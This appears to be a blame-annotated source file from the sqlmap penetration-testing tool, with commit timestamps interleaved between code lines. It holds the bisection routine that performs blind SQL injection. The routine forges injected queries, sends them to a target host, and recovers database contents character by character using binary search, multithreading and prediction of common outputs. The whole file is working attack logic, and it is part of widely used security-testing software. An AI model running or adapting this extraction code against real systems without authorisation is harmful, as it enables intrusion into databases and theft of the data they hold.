2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$ Id $
2008-10-15 19:38:22 +04:00
This file is part of the sqlmap project , http : / / sqlmap . sourceforge . net .
2010-03-03 18:26:27 +03:00
Copyright ( c ) 2007 - 2010 Bernardo Damele A . G . < bernardo . damele @gmail.com >
2009-04-22 15:48:07 +04:00
Copyright ( c ) 2006 Daniele Bellucci < daniele . bellucci @gmail.com >
2008-10-15 19:38:22 +04:00
sqlmap is free software ; you can redistribute it and / or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License .
sqlmap is distributed in the hope that it will be useful , but WITHOUT ANY
WARRANTY ; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE . See the GNU General Public License for more
details .
You should have received a copy of the GNU General Public License along
with sqlmap ; if not , write to the Free Software Foundation , Inc . , 51
Franklin St , Fifth Floor , Boston , MA 02110 - 1301 USA
"""
import threading
import time
2008-12-04 20:40:03 +03:00
import traceback
2008-10-15 19:38:22 +04:00
from lib . core . agent import agent
from lib . core . common import dataToSessionFile
from lib . core . common import dataToStdout
2009-04-22 15:48:07 +04:00
from lib . core . common import getCharset
2010-05-27 20:45:09 +04:00
from lib . core . common import goGoodSamaritan
2010-05-26 13:48:20 +04:00
from lib . core . common import getPartRun
2008-10-15 19:38:22 +04:00
from lib . core . common import replaceNewlineTabs
2010-01-15 19:06:59 +03:00
from lib . core . common import safeStringFormat
2010-03-23 13:27:39 +03:00
from lib . core . convert import urlencode
2008-10-15 19:38:22 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2008-12-04 20:40:03 +03:00
from lib . core . exception import sqlmapConnectionException
2008-10-15 19:38:22 +04:00
from lib . core . exception import sqlmapValueException
2008-12-04 20:40:03 +03:00
from lib . core . exception import sqlmapThreadException
from lib . core . exception import unhandledException
2008-10-15 19:38:22 +04:00
from lib . core . progress import ProgressBar
from lib . core . unescaper import unescaper
from lib . request . connect import Connect as Request
2010-02-04 20:45:56 +03:00
2009-09-26 03:03:45 +04:00
def bisection ( payload , expression , length = None , charsetType = None , firstChar = None , lastChar = None ) :
2008-10-15 19:38:22 +04:00
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
2009-04-22 15:48:07 +04:00
partialValue = " "
2010-05-27 20:45:09 +04:00
finalValue = " "
2009-04-22 15:48:07 +04:00
asciiTbl = getCharset ( charsetType )
2008-12-04 20:40:03 +03:00
2010-05-27 20:45:09 +04:00
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used
kb . partRun = getPartRun ( ) if conf . useCommonPrediction else None
2010-05-26 13:48:20 +04:00
2009-09-26 03:03:45 +04:00
if " LENGTH( " in expression or " LEN( " in expression :
firstChar = 0
2010-05-25 14:09:35 +04:00
elif conf . firstChar is not None and ( isinstance ( conf . firstChar , int ) or ( isinstance ( conf . firstChar , basestring ) and conf . firstChar . isdigit ( ) ) ) :
2009-09-26 03:03:45 +04:00
firstChar = int ( conf . firstChar ) - 1
elif firstChar is None :
firstChar = 0
2010-05-25 14:09:35 +04:00
elif ( isinstance ( firstChar , basestring ) and firstChar . isdigit ( ) ) or isinstance ( firstChar , int ) :
2009-09-26 03:03:45 +04:00
firstChar = int ( firstChar ) - 1
if " LENGTH( " in expression or " LEN( " in expression :
lastChar = 0
2010-05-25 14:09:35 +04:00
elif conf . lastChar is not None and ( isinstance ( conf . lastChar , int ) or ( isinstance ( conf . lastChar , basestring ) and conf . lastChar . isdigit ( ) ) ) :
2009-09-26 03:03:45 +04:00
lastChar = int ( conf . lastChar )
elif lastChar in ( None , " 0 " ) :
lastChar = 0
2010-05-25 14:09:35 +04:00
elif ( isinstance ( lastChar , basestring ) and lastChar . isdigit ( ) ) or isinstance ( lastChar , int ) :
2009-09-26 03:03:45 +04:00
lastChar = int ( lastChar )
2008-10-15 19:38:22 +04:00
if kb . dbmsDetected :
2009-04-22 15:48:07 +04:00
_ , _ , _ , _ , _ , _ , fieldToCastStr = agent . getFields ( expression )
nulledCastedField = agent . nullAndCastField ( fieldToCastStr )
expressionReplaced = expression . replace ( fieldToCastStr , nulledCastedField , 1 )
expressionUnescaped = unescaper . unescape ( expressionReplaced )
2008-10-15 19:38:22 +04:00
else :
2009-04-22 15:48:07 +04:00
expressionUnescaped = unescaper . unescape ( expression )
2008-10-15 19:38:22 +04:00
2009-04-22 15:48:07 +04:00
debugMsg = " query: %s " % expressionUnescaped
logger . debug ( debugMsg )
2008-10-15 19:38:22 +04:00
if length and not isinstance ( length , int ) and length . isdigit ( ) :
length = int ( length )
if length == 0 :
return 0 , " "
2009-09-26 03:03:45 +04:00
if lastChar > 0 and length > ( lastChar - firstChar ) :
length = ( lastChar - firstChar )
showEta = conf . eta and isinstance ( length , int )
2008-10-15 19:38:22 +04:00
numThreads = min ( conf . threads , length )
2009-09-26 03:03:45 +04:00
threads = [ ]
2008-10-15 19:38:22 +04:00
if showEta :
progress = ProgressBar ( maxValue = length )
progressTime = [ ]
2010-03-12 17:48:33 +03:00
if numThreads is not None :
debugMsg = " starting %d thread %s " % ( numThreads , ( " s " if numThreads > 1 else " " ) )
logger . debug ( debugMsg )
2010-01-02 05:02:12 +03:00
if conf . verbose > = 1 and not showEta :
2008-10-15 19:38:22 +04:00
if isinstance ( length , int ) and conf . threads > 1 :
2010-03-12 15:46:26 +03:00
dataToStdout ( " [ %s ] [INFO] retrieved: %s " % ( time . strftime ( " %X " ) , " _ " * min ( length , conf . progressWidth ) ) )
2008-10-15 19:38:22 +04:00
dataToStdout ( " \r [ %s ] [INFO] retrieved: " % time . strftime ( " %X " ) )
else :
dataToStdout ( " [ %s ] [INFO] retrieved: " % time . strftime ( " %X " ) )
2010-05-27 20:45:09 +04:00
queriesCount = [ 0 ] # As list to deal with nested scoping rules
hintlock = threading . Lock ( )
2010-04-15 14:08:27 +04:00
2010-04-15 13:36:13 +04:00
def tryHint ( idx ) :
hintlock . acquire ( )
hintValue = kb . hintValue
hintlock . release ( )
2010-04-15 14:08:27 +04:00
if hintValue is not None and len ( hintValue ) > = idx :
2010-04-15 13:36:13 +04:00
if kb . dbms == " SQLite " :
posValue = hintValue [ idx - 1 ]
else :
posValue = ord ( hintValue [ idx - 1 ] )
forgedPayload = safeStringFormat ( payload . replace ( ' %3E ' , ' % 3D ' ) , ( expressionUnescaped , idx , posValue ) )
2010-05-27 20:45:09 +04:00
queriesCount [ 0 ] + = 1
result = Request . queryPage ( urlencode ( forgedPayload ) )
2010-04-15 14:08:27 +04:00
2010-04-15 13:36:13 +04:00
if result :
return hintValue [ idx - 1 ]
2010-04-15 14:08:27 +04:00
2010-04-15 13:36:13 +04:00
hintlock . acquire ( )
kb . hintValue = None
hintlock . release ( )
2010-04-15 14:08:27 +04:00
2010-04-15 13:36:13 +04:00
return None
2010-05-31 19:20:20 +04:00
def getChar ( idx , charTbl = asciiTbl , continuousOrder = True ) : # continuousOrder means that distance between each two neighbour's numerical values is exactly 1
2010-04-15 13:36:13 +04:00
result = tryHint ( idx )
2010-04-15 14:08:27 +04:00
2010-04-15 13:36:13 +04:00
if result :
return result
2010-05-28 14:50:54 +04:00
if not continuousOrder :
2010-05-25 17:06:23 +04:00
originalTbl = list ( charTbl )
2010-06-10 18:52:33 +04:00
else :
shiftTable = [ 5 , 4 ] # used for gradual expanding into unicode charspace
2010-05-25 17:06:23 +04:00
if len ( charTbl ) == 1 :
forgedPayload = safeStringFormat ( payload . replace ( ' %3E ' , ' % 3D ' ) , ( expressionUnescaped , idx , charTbl [ 0 ] ) )
2010-05-27 20:45:09 +04:00
queriesCount [ 0 ] + = 1
2010-05-25 17:06:23 +04:00
result = Request . queryPage ( urlencode ( forgedPayload ) )
2010-05-31 19:05:29 +04:00
2010-05-25 17:06:23 +04:00
if result :
return chr ( charTbl [ 0 ] ) if charTbl [ 0 ] < 128 else unichr ( charTbl [ 0 ] )
else :
return None
2010-05-24 02:14:57 +04:00
maxChar = maxValue = charTbl [ - 1 ]
2010-05-28 14:01:19 +04:00
minChar = minValue = charTbl [ 0 ]
2008-10-15 19:38:22 +04:00
2010-05-24 02:14:57 +04:00
while len ( charTbl ) != 1 :
2010-05-27 20:45:09 +04:00
position = ( len ( charTbl ) >> 1 )
posValue = charTbl [ position ]
2010-03-18 20:20:54 +03:00
if kb . dbms == " SQLite " :
posValueOld = posValue
2010-05-31 19:05:29 +04:00
posValue = chr ( posValue ) if posValue < 128 else unichr ( posValue )
2010-03-18 20:20:54 +03:00
2010-05-13 02:02:47 +04:00
if not conf . useBetween or kb . dbms == " SQLite " :
2010-05-12 15:30:32 +04:00
forgedPayload = safeStringFormat ( payload , ( expressionUnescaped , idx , posValue ) )
else :
2010-05-13 15:17:24 +04:00
forgedPayload = safeStringFormat ( payload . replace ( ' %3E ' , ' NOT BETWEEN 0 AND ' ) , ( expressionUnescaped , idx , posValue ) )
2010-05-12 15:30:32 +04:00
2010-05-27 20:45:09 +04:00
queriesCount [ 0 ] + = 1
result = Request . queryPage ( urlencode ( forgedPayload ) )
2008-10-16 18:01:14 +04:00
2010-03-18 20:20:54 +03:00
if kb . dbms == " SQLite " :
posValue = posValueOld
2010-05-13 15:17:24 +04:00
if result :
minValue = posValue
2010-05-31 19:05:29 +04:00
2010-05-24 02:14:57 +04:00
if type ( charTbl ) != xrange :
charTbl = charTbl [ position : ]
2010-05-31 19:20:20 +04:00
else : # xrange - extended virtual charset used for memory/space optimization
2010-05-24 02:14:57 +04:00
charTbl = xrange ( charTbl [ position ] , charTbl [ - 1 ] + 1 )
2010-05-13 15:17:24 +04:00
else :
maxValue = posValue
2010-05-31 19:05:29 +04:00
2010-05-24 02:14:57 +04:00
if type ( charTbl ) != xrange :
charTbl = charTbl [ : position ]
2010-06-02 19:18:33 +04:00
else :
2010-05-24 13:28:20 +04:00
charTbl = xrange ( charTbl [ 0 ] , charTbl [ position ] )
2008-10-15 19:38:22 +04:00
2010-05-24 02:14:57 +04:00
if len ( charTbl ) == 1 :
2010-05-28 14:50:54 +04:00
if continuousOrder :
2010-05-28 14:01:19 +04:00
if maxValue == 1 :
return None
2010-06-02 19:18:33 +04:00
elif minValue == maxChar : # going beyond the original charset
2010-06-10 18:52:33 +04:00
# if the original charTbl was [0,..,127] new one will be [128,..,128*16-1] or from 128 to 2047
2010-06-02 19:18:33 +04:00
# and instead of making a HUGE list with all elements we use here xrange, which is a virtual list
2010-06-10 18:52:33 +04:00
if shiftTable :
charTbl = xrange ( maxChar + 1 , ( maxChar + 1 ) << shiftTable . pop ( ) )
maxChar = maxValue = charTbl [ - 1 ]
minChar = minValue = charTbl [ 0 ]
else :
return None
2010-05-28 14:01:19 +04:00
else :
retVal = minValue + 1
return chr ( retVal ) if retVal < 128 else unichr ( retVal )
2010-05-25 17:06:23 +04:00
else :
2010-05-28 14:01:19 +04:00
if minValue == maxChar or maxValue == minChar :
return None
2010-05-31 19:05:29 +04:00
2010-05-31 19:20:20 +04:00
for retVal in ( originalTbl [ originalTbl . index ( minValue ) ] , originalTbl [ originalTbl . index ( minValue ) + 1 ] ) : # if we are working with non-continuous set both minValue and character afterwards are possible candidates
2010-05-31 13:41:41 +04:00
forgedPayload = safeStringFormat ( payload . replace ( ' %3E ' , ' % 3D ' ) , ( expressionUnescaped , idx , retVal ) )
queriesCount [ 0 ] + = 1
result = Request . queryPage ( urlencode ( forgedPayload ) )
2010-05-31 19:05:29 +04:00
2010-05-31 13:41:41 +04:00
if result :
return chr ( retVal ) if retVal < 128 else unichr ( retVal )
2010-05-31 19:05:29 +04:00
2010-05-31 13:41:41 +04:00
return None
2010-02-04 20:45:56 +03:00
2008-10-15 19:38:22 +04:00
def etaProgressUpdate ( charTime , index ) :
if len ( progressTime ) < = ( ( length * 3 ) / 100 ) :
eta = 0
else :
midTime = sum ( progressTime ) / len ( progressTime )
midTimeWithLatest = ( midTime + charTime ) / 2
eta = midTimeWithLatest * ( length - index ) / conf . threads
progressTime . append ( charTime )
progress . update ( index )
progress . draw ( eta )
2010-02-04 20:45:56 +03:00
2008-10-15 19:38:22 +04:00
if conf . threads > 1 and isinstance ( length , int ) and length > 1 :
2009-09-26 03:03:45 +04:00
value = [ None ] * length
index = [ firstChar ] # As list for python nested function scoping
2008-10-15 19:38:22 +04:00
idxlock = threading . Lock ( )
iolock = threading . Lock ( )
2010-05-11 15:06:21 +04:00
valuelock = threading . Lock ( )
2010-03-10 17:14:27 +03:00
conf . seqLock = threading . Lock ( )
2010-03-11 14:14:20 +03:00
conf . threadContinue = True
2010-02-04 20:45:56 +03:00
2008-10-15 19:38:22 +04:00
def downloadThread ( ) :
2009-05-20 13:34:13 +04:00
try :
2010-03-11 14:14:20 +03:00
while conf . threadContinue :
2009-05-20 13:34:13 +04:00
idxlock . acquire ( )
2008-10-15 19:38:22 +04:00
2009-05-20 13:34:13 +04:00
if index [ 0 ] > = length :
idxlock . release ( )
2008-10-15 19:38:22 +04:00
2009-05-20 13:34:13 +04:00
return
2008-10-15 19:38:22 +04:00
2009-05-20 13:34:13 +04:00
index [ 0 ] + = 1
curidx = index [ 0 ]
idxlock . release ( )
2008-10-15 19:38:22 +04:00
2010-03-11 14:14:20 +03:00
if conf . threadContinue :
charStart = time . time ( )
2010-05-27 20:45:09 +04:00
val = getChar ( curidx )
2010-03-25 19:26:50 +03:00
2010-03-11 14:14:20 +03:00
if val is None :
raise sqlmapValueException , " failed to get character at index %d (expected %d total) " % ( curidx , length )
else :
break
2008-10-15 19:38:22 +04:00
2010-05-11 15:06:21 +04:00
valuelock . acquire ( )
2009-05-20 13:34:13 +04:00
value [ curidx - 1 ] = val
2010-05-11 15:06:21 +04:00
currentValue = list ( value )
valuelock . release ( )
2008-12-04 20:40:03 +03:00
2010-03-11 14:14:20 +03:00
if conf . threadContinue :
if showEta :
etaProgressUpdate ( time . time ( ) - charStart , index [ 0 ] )
elif conf . verbose > = 1 :
2010-03-12 15:38:19 +03:00
startCharIndex = 0
endCharIndex = 0
2010-03-25 19:26:50 +03:00
2010-03-12 15:38:19 +03:00
for i in xrange ( length ) :
2010-05-11 15:06:21 +04:00
if currentValue [ i ] is not None :
2010-03-12 15:38:19 +03:00
endCharIndex = max ( endCharIndex , i )
2010-03-25 19:26:50 +03:00
2010-03-12 15:38:19 +03:00
output = ' '
2010-03-25 19:26:50 +03:00
2010-03-12 15:46:26 +03:00
if endCharIndex > conf . progressWidth :
startCharIndex = endCharIndex - conf . progressWidth
2010-03-25 19:26:50 +03:00
2010-03-12 15:38:19 +03:00
count = 0
2010-03-25 19:26:50 +03:00
2010-05-11 15:06:21 +04:00
for i in xrange ( startCharIndex , endCharIndex + 1 ) :
output + = ' _ ' if currentValue [ i ] is None else currentValue [ i ]
2010-03-22 20:38:19 +03:00
2010-03-12 15:38:19 +03:00
for i in xrange ( length ) :
2010-05-11 15:06:21 +04:00
count + = 1 if currentValue [ i ] is not None else 0
2010-03-22 20:38:19 +03:00
2010-03-12 15:38:19 +03:00
if startCharIndex > 0 :
2010-03-12 17:31:14 +03:00
output = ' .. ' + output [ 2 : ]
2010-03-22 20:38:19 +03:00
2010-04-19 19:25:52 +04:00
if ( endCharIndex - startCharIndex == conf . progressWidth ) and ( endCharIndex < length - 1 ) :
2010-03-12 17:31:14 +03:00
output = output [ : - 2 ] + ' .. '
2010-03-22 20:38:19 +03:00
2010-03-12 16:07:07 +03:00
output + = ' _ ' * ( min ( length , conf . progressWidth ) - len ( output ) )
status = ' %d / %d ( %d %s ) ' % ( count , length , round ( 100.0 * count / length ) , ' % ' )
2010-03-12 15:38:19 +03:00
output + = status if count != length else " " * len ( status )
2010-03-22 20:38:19 +03:00
2010-03-11 14:14:20 +03:00
iolock . acquire ( )
2010-03-22 20:38:19 +03:00
dataToStdout ( " \r [ %s ] [INFO] retrieved: %s " % ( time . strftime ( " %X " ) , replaceNewlineTabs ( output , stdout = True ) ) )
2010-03-11 14:14:20 +03:00
iolock . release ( )
2008-12-04 20:40:03 +03:00
except ( sqlmapConnectionException , sqlmapValueException ) , errMsg :
2010-03-25 19:26:50 +03:00
print
2008-12-04 20:40:03 +03:00
conf . threadException = True
logger . error ( " thread %d : %s " % ( numThread + 1 , errMsg ) )
except KeyboardInterrupt :
conf . threadException = True
print
logger . debug ( " waiting for threads to finish " )
try :
while ( threading . activeCount ( ) > 1 ) :
pass
except KeyboardInterrupt :
raise sqlmapThreadException , " user aborted "
except :
2010-03-25 19:26:50 +03:00
print
2008-12-04 20:40:03 +03:00
conf . threadException = True
errMsg = unhandledException ( )
logger . error ( " thread %d : %s " % ( numThread + 1 , errMsg ) )
traceback . print_exc ( )
2010-02-04 20:45:56 +03:00
2008-10-15 19:38:22 +04:00
# Start the threads
2008-12-04 20:40:03 +03:00
for numThread in range ( numThreads ) :
2009-05-20 13:34:13 +04:00
thread = threading . Thread ( target = downloadThread )
2008-10-15 19:38:22 +04:00
thread . start ( )
threads . append ( thread )
# And wait for them to all finish
2010-03-11 14:14:20 +03:00
try :
alive = True
while alive :
alive = False
for thread in threads :
if thread . isAlive ( ) :
alive = True
thread . join ( 5 )
except KeyboardInterrupt :
conf . threadContinue = False
raise
2010-03-11 14:20:52 +03:00
2010-04-29 12:30:29 +04:00
infoMsg = None
2010-05-27 20:45:09 +04:00
2008-12-04 20:40:03 +03:00
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value :
for v in value :
2010-05-25 14:09:35 +04:00
if isinstance ( v , basestring ) and v is not None :
2008-12-04 20:40:03 +03:00
partialValue + = v
2008-10-15 19:38:22 +04:00
2008-12-04 20:40:03 +03:00
if partialValue :
finalValue = partialValue
infoMsg = " \r [ %s ] [INFO] partially retrieved: %s " % ( time . strftime ( " %X " ) , finalValue )
else :
finalValue = " " . join ( value )
infoMsg = " \r [ %s ] [INFO] retrieved: %s " % ( time . strftime ( " %X " ) , finalValue )
2008-10-15 19:38:22 +04:00
2010-05-25 14:09:35 +04:00
if isinstance ( finalValue , basestring ) and len ( finalValue ) > 0 :
2008-12-04 20:40:03 +03:00
dataToSessionFile ( replaceNewlineTabs ( finalValue ) )
2008-10-15 19:38:22 +04:00
2010-01-02 05:02:12 +03:00
if conf . verbose > = 1 and not showEta and infoMsg :
2008-12-04 20:40:03 +03:00
dataToStdout ( infoMsg )
2008-10-15 19:38:22 +04:00
2010-03-10 17:14:27 +03:00
conf . seqLock = None
2008-10-15 19:38:22 +04:00
else :
2009-09-26 03:03:45 +04:00
index = firstChar
2008-10-15 19:38:22 +04:00
while True :
2010-05-27 20:45:09 +04:00
index + = 1
2008-10-15 19:38:22 +04:00
charStart = time . time ( )
2010-05-21 13:35:36 +04:00
2010-05-27 20:45:09 +04:00
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf . useCommonPrediction and len ( finalValue ) > 0 and kb . partRun is not None :
2010-05-25 18:51:02 +04:00
val = None
2010-05-27 20:45:09 +04:00
singleValue , commonCharset , otherCharset = goGoodSamaritan ( kb . partRun , finalValue , asciiTbl )
2010-05-25 18:51:02 +04:00
2010-05-31 19:05:29 +04:00
# If there is one single output in common-outputs, check
# it via equal against the query output
2010-05-27 20:45:09 +04:00
if singleValue is not None :
# One-shot query containing equals singleValue
2010-05-26 14:41:37 +04:00
query = agent . prefixQuery ( " %s " % safeStringFormat ( ' AND ( %s ) = %s ' , ( expressionUnescaped , unescaper . unescape ( ' \' %s \' ' % singleValue ) ) ) )
2010-05-26 13:48:20 +04:00
query = agent . postfixQuery ( query )
2010-05-27 20:45:09 +04:00
queriesCount [ 0 ] + = 1
2010-05-26 14:41:37 +04:00
result = Request . queryPage ( urlencode ( agent . payload ( newValue = query ) ) )
2010-05-27 20:45:09 +04:00
# Did we have luck?
2010-05-26 13:48:20 +04:00
if result :
2010-05-26 14:41:37 +04:00
dataToSessionFile ( replaceNewlineTabs ( singleValue [ index - 1 : ] ) )
2010-05-27 20:45:09 +04:00
2010-05-26 14:41:37 +04:00
if showEta :
2010-05-27 20:45:09 +04:00
etaProgressUpdate ( time . time ( ) - charStart , len ( singleValue ) )
2010-05-26 14:41:37 +04:00
elif conf . verbose > = 1 :
dataToStdout ( singleValue [ index - 1 : ] )
2010-05-27 20:45:09 +04:00
2010-05-26 13:48:20 +04:00
finalValue = singleValue
2010-05-27 20:45:09 +04:00
2010-05-26 13:48:20 +04:00
break
2010-05-31 19:05:29 +04:00
# Otherwise if there is no singleValue (single match from
# txt/common-outputs.txt) use the returned common
# charset only to retrieve the query output
if commonCharset :
2010-05-27 20:45:09 +04:00
val = getChar ( index , commonCharset , False )
# If we had no luck with singleValue and common charset,
# use the returned other charset
2010-05-21 13:35:36 +04:00
if not val :
2010-05-28 14:17:03 +04:00
val = getChar ( index , otherCharset , otherCharset == asciiTbl )
2010-05-21 13:35:36 +04:00
else :
val = getChar ( index , asciiTbl )
2008-10-15 19:38:22 +04:00
2009-09-26 03:03:45 +04:00
if val is None or ( lastChar > 0 and index > lastChar ) :
2008-10-15 19:38:22 +04:00
break
2008-12-04 20:40:03 +03:00
finalValue + = val
2008-10-15 19:38:22 +04:00
2008-10-16 19:31:02 +04:00
dataToSessionFile ( replaceNewlineTabs ( val ) )
2008-10-15 19:38:22 +04:00
if showEta :
etaProgressUpdate ( time . time ( ) - charStart , index )
2010-01-02 05:02:12 +03:00
elif conf . verbose > = 1 :
2008-10-15 19:38:22 +04:00
dataToStdout ( val )
2010-01-02 05:02:12 +03:00
if conf . verbose > = 1 or showEta :
2008-10-15 19:38:22 +04:00
dataToStdout ( " \n " )
2010-05-11 18:15:03 +04:00
if ( conf . verbose in ( 1 , 2 ) and showEta ) or conf . verbose > = 3 :
2008-12-04 20:40:03 +03:00
infoMsg = " retrieved: %s " % finalValue
2008-10-15 19:38:22 +04:00
logger . info ( infoMsg )
2008-12-04 20:40:03 +03:00
if not partialValue :
dataToSessionFile ( " ] \n " )
if conf . threadException :
2010-06-03 12:55:13 +04:00
raise sqlmapThreadException , " something unexpected happened inside the threads "
2008-10-15 19:38:22 +04:00
2008-12-04 20:40:03 +03:00
return queriesCount [ 0 ] , finalValue